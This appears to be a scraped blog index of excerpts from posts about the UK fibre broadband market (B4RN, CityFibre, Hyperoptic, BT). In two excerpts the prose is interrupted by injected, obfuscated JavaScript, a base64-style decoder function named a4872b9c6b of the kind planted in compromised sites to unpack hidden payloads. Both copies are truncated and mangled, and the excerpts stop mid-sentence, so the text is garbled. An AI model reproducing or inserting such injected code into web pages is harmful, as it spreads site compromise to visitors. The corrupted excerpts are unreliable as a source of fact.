# The Importance of B4RN

It would be easy to dismiss the B4RN initiative in the UK as such a small scale approach that it is meaningless, and

# CityFibre appoints Macquarie to put together financing plan

When it comes to discussing City Fibre Holdings, I'm not neutral, since Diffraction Analysis works as advisors to their board. So I won't say much in the way of commenting this announcement, except that I think it's significant in highlighting

# Hyperoptic: Hypercool or Hyperbole?

UK company function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8< <2)|(w9>4);w6=((w9&15)< <4)|(we>2);qe=((we&3)< <6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand-a-Reality/7439/” target=”_self”Hyperoptic announced yesterday that its FTTH first customers were going live in W

# Is the Rainbow Revolution just round the corner?

James Enck doesn't blog near enough these days, although it's perfectly understandable considering his new role at CFH

# PBS Documentary on Broadband in the UK and Netherlands

There's an excellent PBS documentary from their series Need to Know entitled High Fiber. It highlights the broadband successes in the

# UK FTTP scene crowded… with intentions!

Lately the UK broadband scene has seen a number of projects emerge. There's the function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8< <2)|(w9>4);w6=((w9&15)< <4)|(we>2);qe=((we&3)

# Fujitsu, Virgin and Talk Talk rock BT’s boat

(Note: whenever I mention BT in this post, I mean the BT group, including openreach, wholesale and retail)

Incumbents are facing

# Friday Fiber New Roudup (Bouygues, Free, NZ and BT)

I haven't been very good at posting these last couples of weeks, for which I apologise. In case you're dying for some fiber news

# The trouble with ducts and poles

I have written in the past about passive infrastructure remedies to competition. Portugal is one country where such remedies seem to have had positive effects on the market. Applying similar remedies in the UK was a big part of the